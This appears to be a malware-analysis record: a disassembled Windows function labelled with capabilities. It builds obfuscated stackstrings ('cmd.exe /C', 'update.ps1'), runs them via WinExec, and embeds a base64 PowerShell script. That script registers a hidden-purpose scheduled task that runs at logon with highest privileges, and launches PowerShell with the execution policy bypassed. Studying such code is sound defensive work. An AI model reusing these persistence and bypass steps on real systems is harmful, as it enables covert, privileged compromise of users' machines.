Function at 0x1001c3a0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x10f4
call fcn.10027c10
mov eax, esp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x100208a0
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
sub esp, 4
mov eax, esp
mov dword [eax], 0x101d63b0
lea ecx, [ebp - 0x38]
call fcn.100062d0
mov dword [ebp - 0x10], 0
sub esp, 4
mov eax, esp
lea ecx, [ebp - 0x50]
mov dword [eax], ecx
call fcn.1001c330
add esp, 4
jmp 0x1001c407
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x10d4], ecx
mov dword [eax], ecx
mov dword [eax + 8], 0xdc
mov dword [eax + 4], str.JHhtbFBhdGggPSAiWE1M6Lev5b6EIgokdGFza05hbWUgPSAi5Lu75Yqh5ZCN56ewIgokeG1sQ29udGVudCA9IEdldC1Db250ZW50IC1QYXRoICR4bWxQYXRoIHwgT3V0LVN0cmluZwpSZWdpc3Rlci1TY2hlZHVsZWRUYXNrIC1YbWwgJHhtbENvbnRlbnQgLVRhc2tOYW1lICR0YXNrTmFtZQPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8CjxUYXNrIHZlcnNpb249IjEuMyIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZG93cy8yMDA0LzAyL21pdC90YXNrIj4KICA8UmVnaXN0cmF0aW9uSW5mbz4KICAgIDxEYXRlPjIwMDYtMTEtMTBUMTQ6Mjk6NTUuNTg1MTkyNjwvRGF0ZT4KICAgIDxBdXRob3ITWljcm9zb2Z0IENvcnBvcmF0aW9uPC9BdXRob3ICiAgICA8RGVzY3JpcHRpb245pu05paw55So5oi355qEIEFEIFJNUyDmnYPpmZDnrZbnlaXmqKHmnb_jgILlpoLmnpzlr7nmnI3liqHlmajkuIrmqKHmnb_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.xmlpowershell__Command__Set_ExecutionPolicy_Unrestricted__Scope_CurrentUser_powershell__ExecutionPolicy_Bypass__File_.
call fcn.1016b630
add esp, 0xc
mov eax, dword [ebp - 0x10d4]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x64]
mov dword [ebp - 0x60], eax
lea esi, [ebp - 0x141]
mov ecx, esi
call fcn.10001570
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x10], 1
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0x5c]
call fcn.1001da80
jmp 0x1001c473
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xbbc]
mov dword [ebp - 0x10d8], ecx
mov dword [eax], ecx
mov dword [eax + 8], 0xa64
mov dword [eax + 4], 0x101a3800
call fcn.1016b630
add esp, 0xc
mov eax, dword [ebp - 0x10d8]
mov dword [ebp - 0x158], eax
lea eax, [ebp - 0x158]
mov dword [ebp - 0x154], eax
lea esi, [ebp - 0xbbd]
mov ecx, esi
call fcn.10001570
mov ecx, dword [ebp - 0x158]
mov edx, dword [ebp - 0x154]
mov dword [ebp - 0x10], 2
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0x150]
call fcn.1001da80
jmp 0x1001c4f1
mov dword [ebp - 0x10], 3
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0x5c]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xbd8]
mov dword [eax], ecx
call fcn.1001bfe0
add esp, 8
jmp 0x1001c518
mov dword [ebp - 0x10], 4
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0x150]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xbf0]
mov dword [eax], ecx
call fcn.1001bfe0
add esp, 8
jmp 0x1001c542
lea ecx, [ebp - 0xc08]
call fcn.1000b580
lea ecx, [ebp - 0xc20]
call fcn.1000b580
mov dword [ebp - 0x10], 0x2e
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xbd8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xc38]
mov dword [eax], ecx
call fcn.1001b5c0
add esp, 8
jmp 0x1001c582
sub esp, 4
mov eax, esp
lea ecx, [ebp - 0xc38]
mov dword [ebp - 0x10dc], ecx
mov dword [eax], ecx
lea ecx, [ebp - 0xc20]
call fcn.1000c790
mov ecx, dword [ebp - 0x10dc]
call fcn.10006b40
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xbf0]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xc50]
mov dword [eax], ecx
call fcn.1001b5c0
add esp, 8
jmp 0x1001c5d6
sub esp, 4
mov eax, esp
lea ecx, [ebp - 0xc50]
mov dword [ebp - 0x10e0], ecx
mov dword [eax], ecx
lea ecx, [ebp - 0xc08]
call fcn.1000c790
mov ecx, dword [ebp - 0x10e0]
call fcn.10006b40
mov dword [ebp - 0x10], 7
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xc70]
mov dword [eax], ecx
mov dword [eax + 4], 0x1c
call fcn.1001c220
add esp, 8
jmp 0x1001c62c
mov byte [ebp - 0xca8], 0xce
mov byte [ebp - 0xca7], 0xc4
mov byte [ebp - 0xca6], 0xbc
mov byte [ebp - 0xca5], 0xfe
mov byte [ebp - 0xca4], 0xbe
mov byte [ebp - 0xca3], 0xf8
mov byte [ebp - 0xca2], 0xb6
mov byte [ebp - 0xca1], 0xd4
mov byte [ebp - 0xca0], 0xc2
mov byte [ebp - 0xc9f], 0xb7
mov byte [ebp - 0xc9e], 0xbe
mov byte [ebp - 0xc9d], 0xb6
lea eax, [ebp - 0xca8]
mov dword [ebp - 0xc9c], eax
lea eax, [ebp - 0xc9c]
mov dword [ebp - 0xc98], eax
lea esi, [ebp - 0xca9]
mov ecx, esi
call fcn.10001570
mov ecx, dword [ebp - 0xc9c]
mov edx, dword [ebp - 0xc98]
mov dword [ebp - 0x10], 8
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xc94]
call fcn.1001da80
jmp 0x1001c6d5
mov dword [ebp - 0x10], 0x2d
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xc94]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xc88]
mov dword [eax], ecx
call fcn.1001bfe0
add esp, 8
jmp 0x1001c6ff
lea ecx, [ebp - 0xc94]
call fcn.1000cf80
mov eax, esp
mov dword [ebp - 0x10e8], eax
sub esp, 0x24
mov ecx, esp
mov eax, ecx
mov dword [ebp - 0x10e4], eax
add ecx, 4
mov dword [ebp - 0x10], 9
sub esp, 4
mov eax, esp
lea edx, [ebp - 0xc08]
mov dword [eax], edx
call fcn.10006cf0
jmp 0x1001c740
mov eax, dword [ebp - 0x10e4]
lea ecx, [ebp - 0xcc4]
mov dword [eax], ecx
lea ecx, [ebp - 0xc88]
mov dword [eax + 0x1c], ecx
lea ecx, [ebp - 0x50]
mov dword [eax + 0x20], ecx
call fcn.1001bac0
add esp, 0x24
jmp 0x1001c76a
mov eax, dword [ebp - 0x10e8]
mov esp, eax
movsd xmm0, qword [0x101a4271]
movsd qword [ebp - 0xd13], xmm0
movups xmm0, xmmword [0x101a4264]
movups xmmword [ebp - 0xd20], xmm0
lea eax, [ebp - 0xd20]
mov dword [ebp - 0xd08], eax
lea eax, [ebp - 0xd0b]
mov dword [ebp - 0xd04], eax
lea esi, [ebp - 0xd21]
mov ecx, esi
call fcn.10001570
mov ecx, dword [ebp - 0xd08]
mov edx, dword [ebp - 0xd04]
mov dword [ebp - 0x10], 0xa
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xd00]
call fcn.1001da80
jmp 0x1001c7e5
mov dword [ebp - 0x10], 0x2b
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xd00]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xcf4]
mov dword [eax], ecx
call fcn.1001bfe0
add esp, 8
jmp 0x1001c80f
mov dword [ebp - 0x10], 0x2c
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xcf4]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0xc70]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xcdc]
mov dword [eax], ecx
call fcn.1001db10
add esp, 0xc
jmp 0x1001c842
lea ecx, [ebp - 0xcf4]
call fcn.10006b40
lea ecx, [ebp - 0xd00]
call fcn.1000cf80
lea ecx, [ebp - 0xcdc]
call fcn.10007550
mov ecx, eax
mov dword [ebp - 0x10], 0xb
sub esp, 4
mov eax, esp
mov dword [eax], ecx
lea ecx, [ebp - 0xd3c]
call fcn.100062d0
jmp 0x1001c883
mov dword [ebp - 0x10], 0x2a
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xcc4]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xd3c]
mov dword [eax], ecx
call fcn.1001bcb0
add esp, 8
jmp 0x1001c8ad
lea ecx, [ebp - 0xd3c]
call fcn.10006b40
sub esp, 4
mov eax, esp
mov dword [eax], 0xc8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
mov eax, esp
mov dword [ebp - 0x10f0], eax
sub esp, 0x24
mov eax, esp
mov dword [ebp - 0x10ec], eax
lea ecx, [ebp - 0xcdc]
call fcn.10007550
mov ecx, eax
mov dword [ebp - 0x10], 0xb
sub esp, 4
mov eax, esp
mov dword [eax], ecx
lea ecx, [ebp - 0xd6c]
call fcn.100062d0
jmp 0x1001c908
mov byte [ebp - 0xd9f], 0x58
mov byte [ebp - 0xd9e], 0x4d
mov byte [ebp - 0xd9d], 0x4c
mov byte [ebp - 0xd9c], 0xc2
mov byte [ebp - 0xd9b], 0xb7
mov byte [ebp - 0xd9a], 0xbe
mov byte [ebp - 0xd99], 0xb6
lea eax, [ebp - 0xd9f]
mov dword [ebp - 0xd98], eax
lea eax, [ebp - 0xd98]
mov dword [ebp - 0xd94], eax
lea esi, [ebp - 0xda0]
mov ecx, esi
call fcn.10001570
mov ecx, dword [ebp - 0xd98]
mov edx, dword [ebp - 0xd94]
mov dword [ebp - 0x10], 0x27
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xd90]
call fcn.1001da80
jmp 0x1001c98e
mov dword [ebp - 0x10], 0x28
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xd90]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xd84]
mov dword [eax], ecx
call fcn.1001bfe0
add esp, 8
jmp 0x1001c9b8
mov ecx, dword [ebp - 0x10ec]
add ecx, 4
mov dword [ebp - 0x10], 0x29
sub esp, 4
mov eax, esp
lea edx, [ebp - 0xc20]
mov dword [eax], edx
call fcn.10006cf0
jmp 0x1001c9df
mov eax, dword [ebp - 0x10ec]
lea ecx, [ebp - 0xd54]
mov dword [eax], ecx
lea ecx, [ebp - 0xd84]
mov dword [eax + 0x1c], ecx
lea ecx, [ebp - 0xd6c]
mov dword [eax + 0x20], ecx
call fcn.1001bac0
add esp, 0x24
jmp 0x1001ca0c
mov eax, dword [ebp - 0x10f0]
mov esp, eax
lea ecx, [ebp - 0xd84]
call fcn.10006b40
lea ecx, [ebp - 0xd90]
call fcn.1000cf80
lea ecx, [ebp - 0xd6c]
call fcn.10006b40
mov eax, esp
mov dword [ebp - 0x10f8], eax
sub esp, 0x24
mov eax, esp
mov dword [ebp - 0x10f4], eax
lea ecx, [ebp - 0x38]
call fcn.10007550
mov ecx, eax
mov dword [ebp - 0x10], 0xc
sub esp, 4
mov eax, esp
mov dword [eax], ecx
lea ecx, [ebp - 0xdd0]
call fcn.100062d0
jmp 0x1001ca70
mov byte [ebp - 0xe04], 0xc8
mov byte [ebp - 0xe03], 0xce
mov byte [ebp - 0xe02], 0xce
mov byte [ebp - 0xe01], 0xf1
mov byte [ebp - 0xe00], 0xc3
mov byte [ebp - 0xdff], 0xfb
mov byte [ebp - 0xdfe], 0xb3
mov byte [ebp - 0xdfd], 0xc6
lea eax, [ebp - 0xe04]
mov dword [ebp - 0xdfc], eax
lea eax, [ebp - 0xdfc]
mov dword [ebp - 0xdf8], eax
lea esi, [ebp - 0xe05]
mov ecx, esi
call fcn.10001570
mov ecx, dword [ebp - 0xdfc]
mov edx, dword [ebp - 0xdf8]
mov dword [ebp - 0x10], 0x24
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xdf4]
call fcn.1001da80
jmp 0x1001cafd
mov dword [ebp - 0x10], 0x25
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xdf4]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xde8]
mov dword [eax], ecx
call fcn.1001bfe0
add esp, 8
jmp 0x1001cb27
mov ecx, dword [ebp - 0x10f4]
add ecx, 4
mov dword [ebp - 0x10], 0x26
sub esp, 4
mov eax, esp
lea edx, [ebp - 0xd54]
mov dword [eax], edx
call fcn.10006cf0
jmp 0x1001cb4e
mov eax, dword [ebp - 0x10f4]
lea ecx, [ebp - 0xdb8]
mov dword [eax], ecx
lea ecx, [ebp - 0xde8]
mov dword [eax + 0x1c], ecx
lea ecx, [ebp - 0xdd0]
mov dword [eax + 0x20], ecx
call fcn.1001bac0
add esp, 0x24
jmp 0x1001cb7b
mov eax, dword [ebp - 0x10f8]
mov esp, eax
sub esp, 4
mov eax, esp
lea ecx, [ebp - 0xdb8]
mov dword [ebp - 0x10fc], ecx
mov dword [eax], ecx
lea ecx, [ebp - 0xd54]
call fcn.1000c790
mov ecx, dword [ebp - 0x10fc]
call fcn.10006b40
lea ecx, [ebp - 0xde8]
call fcn.10006b40
lea ecx, [ebp - 0xdf4]
call fcn.1000cf80
lea ecx, [ebp - 0xdd0]
call fcn.10006b40
mov dword [ebp - 0x10], 0xc
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xc70]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf28]
mov dword [eax], ecx
mov dword [eax + 8], 0x101d6340
call fcn.1001dba0
add esp, 0xc
jmp 0x1001cbfe
mov dword [ebp - 0x10], 0x19
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xf28]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf10]
mov dword [eax], ecx
mov dword [eax + 8], 0x75
call fcn.1001db60
add esp, 0xc
jmp 0x1001cc2f
mov dword [ebp - 0x10], 0x1a
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xf10]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xef8]
mov dword [eax], ecx
mov dword [eax + 8], 0x70
call fcn.1001db60
add esp, 0xc
jmp 0x1001cc60
mov dword [ebp - 0x10], 0x1b
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xef8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xee0]
mov dword [eax], ecx
mov dword [eax + 8], 0x64
call fcn.1001db60
add esp, 0xc
jmp 0x1001cc91
mov dword [ebp - 0x10], 0x1c
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xee0]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xec8]
mov dword [eax], ecx
mov dword [eax + 8], 0x61
call fcn.1001db60
add esp, 0xc
jmp 0x1001ccc2
mov dword [ebp - 0x10], 0x1d
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xec8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xeb0]
mov dword [eax], ecx
mov dword [eax + 8], 0x74
call fcn.1001db60
add esp, 0xc
jmp 0x1001ccf3
mov dword [ebp - 0x10], 0x1e
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xeb0]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe98]
mov dword [eax], ecx
mov dword [eax + 8], 0x65
call fcn.1001db60
add esp, 0xc
jmp 0x1001cd24
mov dword [ebp - 0x10], 0x1f
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe98]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe80]
mov dword [eax], ecx
mov dword [eax + 8], 0x64
call fcn.1001db60
add esp, 0xc
jmp 0x1001cd55
mov dword [ebp - 0x10], 0x20
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe80]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe68]
mov dword [eax], ecx
mov dword [eax + 8], 0x2e
call fcn.1001db60
add esp, 0xc
jmp 0x1001cd86
mov dword [ebp - 0x10], 0x21
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe68]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe50]
mov dword [eax], ecx
mov dword [eax + 8], 0x70
call fcn.1001db60
add esp, 0xc
jmp 0x1001cdb7
mov dword [ebp - 0x10], 0x22
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe50]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe38]
mov dword [eax], ecx
mov dword [eax + 8], 0x73
call fcn.1001db60
add esp, 0xc
jmp 0x1001cde8
mov dword [ebp - 0x10], 0x23
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe38]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe20]
mov dword [eax], ecx
mov dword [eax + 8], 0x31
call fcn.1001db60
add esp, 0xc
jmp 0x1001ce19
lea ecx, [ebp - 0xe38]
call fcn.10006b40
lea ecx, [ebp - 0xe50]
call fcn.10006b40
lea ecx, [ebp - 0xe68]
call fcn.10006b40
lea ecx, [ebp - 0xe80]
call fcn.10006b40
lea ecx, [ebp - 0xe98]
call fcn.10006b40
lea ecx, [ebp - 0xeb0]
call fcn.10006b40
lea ecx, [ebp - 0xec8]
call fcn.10006b40
lea ecx, [ebp - 0xee0]
call fcn.10006b40
lea ecx, [ebp - 0xef8]
call fcn.10006b40
lea ecx, [ebp - 0xf10]
call fcn.10006b40
lea ecx, [ebp - 0xf28]
call fcn.10006b40
lea ecx, [ebp - 0xe20]
call fcn.10007550
mov ecx, eax
mov dword [ebp - 0x10], 0xd
sub esp, 4
mov eax, esp
mov dword [eax], ecx
lea ecx, [ebp - 0xf40]
call fcn.100062d0
jmp 0x1001cebd
mov dword [ebp - 0x10], 0x18
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xd54]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf40]
mov dword [eax], ecx
call fcn.1001bcb0
add esp, 8
jmp 0x1001cee7
lea ecx, [ebp - 0xf40]
call fcn.10006b40
sub esp, 4
mov eax, esp
mov dword [eax], 0xc8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
movups xmm0, xmmword [0x101a42b2]
movups xmmword [ebp - 0xf97], xmm0
movups xmm0, xmmword [0x101a42a9]
movups xmmword [ebp - 0xfa0], xmm0
movups xmm0, xmmword [0x101a4299]
movups xmmword [ebp - 0xfb0], xmm0
movups xmm0, xmmword [0x101a4289]
movups xmmword [ebp - 0xfc0], xmm0
movups xmm0, xmmword [0x101a4279]
movups xmmword [ebp - 0xfd0], xmm0
lea eax, [ebp - 0xfd0]
mov dword [ebp - 0xf84], eax
lea eax, [ebp - 0xf87]
mov dword [ebp - 0xf80], eax
lea esi, [ebp - 0xfd1]
mov ecx, esi
call fcn.10001570
mov ecx, dword [ebp - 0xf84]
mov edx, dword [ebp - 0xf80]
mov dword [ebp - 0x10], 0xd
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xf7c]
call fcn.1001da80
jmp 0x1001cf9f
mov dword [ebp - 0x10], 0x14
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xf7c]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf70]
mov dword [eax], ecx
call fcn.1001bfe0
add esp, 8
jmp 0x1001cfc9
mov byte [ebp - 0x100b], 0x63
mov byte [ebp - 0x100a], 0x6d
mov byte [ebp - 0x1009], 0x64
mov byte [ebp - 0x1008], 0x2e
mov byte [ebp - 0x1007], 0x65
mov byte [ebp - 0x1006], pe_nt_image_headers32
mov byte [ebp - 0x1005], 0x65
mov byte [ebp - 0x1004], 0x20
mov byte [ebp - 0x1003], 0x2f
mov byte [ebp - 0x1002], 0x43
mov byte [ebp - 0x1001], 0x20
lea eax, [ebp - 0x100b]
mov dword [ebp - 0x1000], eax
lea eax, [ebp - 0x1000]
mov dword [ebp - 0xffc], eax
lea esi, [ebp - 0x100c]
mov ecx, esi
call fcn.10001570
mov ecx, dword [ebp - 0x1000]
mov edx, dword [ebp - 0xffc]
mov dword [ebp - 0x10], 0x15
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xff8]
call fcn.1001da80
jmp 0x1001d06b
mov dword [ebp - 0x10], 0x16
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xff8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xfec]
mov dword [eax], ecx
call fcn.1001bfe0
add esp, 8
jmp 0x1001d095
mov dword [ebp - 0x10], 0x17
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xf70]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0xfec]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf58]
mov dword [eax], ecx
call fcn.1001dc50
add esp, 0xc
jmp 0x1001d0c8
lea ecx, [ebp - 0xfec]
call fcn.10006b40
lea ecx, [ebp - 0xff8]
call fcn.1000cf80
lea ecx, [ebp - 0xf70]
call fcn.10006b40
lea ecx, [ebp - 0xf7c]
call fcn.1000cf80
lea ecx, [ebp - 0xf58]
call fcn.10007550
mov ecx, eax
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
movups xmm0, xmmword [0x101a42db]
movups xmmword [ebp - 0x104b], xmm0
movups xmm0, xmmword [0x101a42d2]
movups xmmword [ebp - 0x1054], xmm0
movups xmm0, xmmword [0x101a42c2]
movups xmmword [ebp - 0x1064], xmm0
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x1038], eax
lea eax, [ebp - 0x103b]
mov dword [ebp - 0x1034], eax
lea esi, [ebp - 0x1065]
mov ecx, esi
call fcn.10001570
mov ecx, dword [ebp - 0x1038]
mov edx, dword [ebp - 0x1034]
mov dword [ebp - 0x10], 0xe
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0x1030]
call fcn.1001da80
jmp 0x1001d195
mov dword [ebp - 0x10], 0x13
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0x1030]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x1024]
mov dword [eax], ecx
call fcn.1001bfe0
add esp, 8
jmp 0x1001d1bf
lea ecx, [ebp - 0x1030]
call fcn.1000cf80
lea ecx, [ebp - 0xe20]
call fcn.10007550
mov dword [ebp - 0x1100], eax
mov byte [ebp - 0x10cf], 0x63
mov byte [ebp - 0x10ce], 0x6d
mov byte [ebp - 0x10cd], 0x64
mov byte [ebp - 0x10cc], 0x2e
mov byte [ebp - 0x10cb], 0x65
mov byte [ebp - 0x10ca], pe_nt_image_headers32
mov byte [ebp - 0x10c9], 0x65
mov byte [ebp - 0x10c8], 0x20
mov byte [ebp - 0x10c7], 0x2f
mov byte [ebp - 0x10c6], 0x43
mov byte [ebp - 0x10c5], 0x20
lea eax, [ebp - 0x10cf]
mov dword [ebp - 0x10c4], eax
lea eax, [ebp - 0x10c4]
mov dword [ebp - 0x10c0], eax
lea esi, [ebp - 0x10d0]
mov ecx, esi
call fcn.10001570
mov ecx, dword [ebp - 0x10c4]
mov edx, dword [ebp - 0x10c0]
mov dword [ebp - 0x10], 0xf
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0x10bc]
call fcn.1001da80
jmp 0x1001d27d
mov dword [ebp - 0x10], 0x10
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0x10bc]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x10b0]
mov dword [eax], ecx
call fcn.1001bfe0
add esp, 8
jmp 0x1001d2a7
mov dword [ebp - 0x10], 0x11
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0x1024]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x10b0]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x1098]
mov dword [eax], ecx
call fcn.1001dc90
add esp, 0xc
jmp 0x1001d2da
mov ecx, dword [ebp - 0x1100]
mov dword [ebp - 0x10], 0x12
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x1098]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x1080]
mov dword [eax], ecx
call fcn.10011890
add esp, 0xc
jmp 0x1001d30d
lea ecx, [ebp - 0x1024]
lea eax, [ebp - 0x1080]
sub esp, 4
mov dword [esp], eax
call fcn.1000c790
lea ecx, [ebp - 0x1080]
call fcn.10006b40
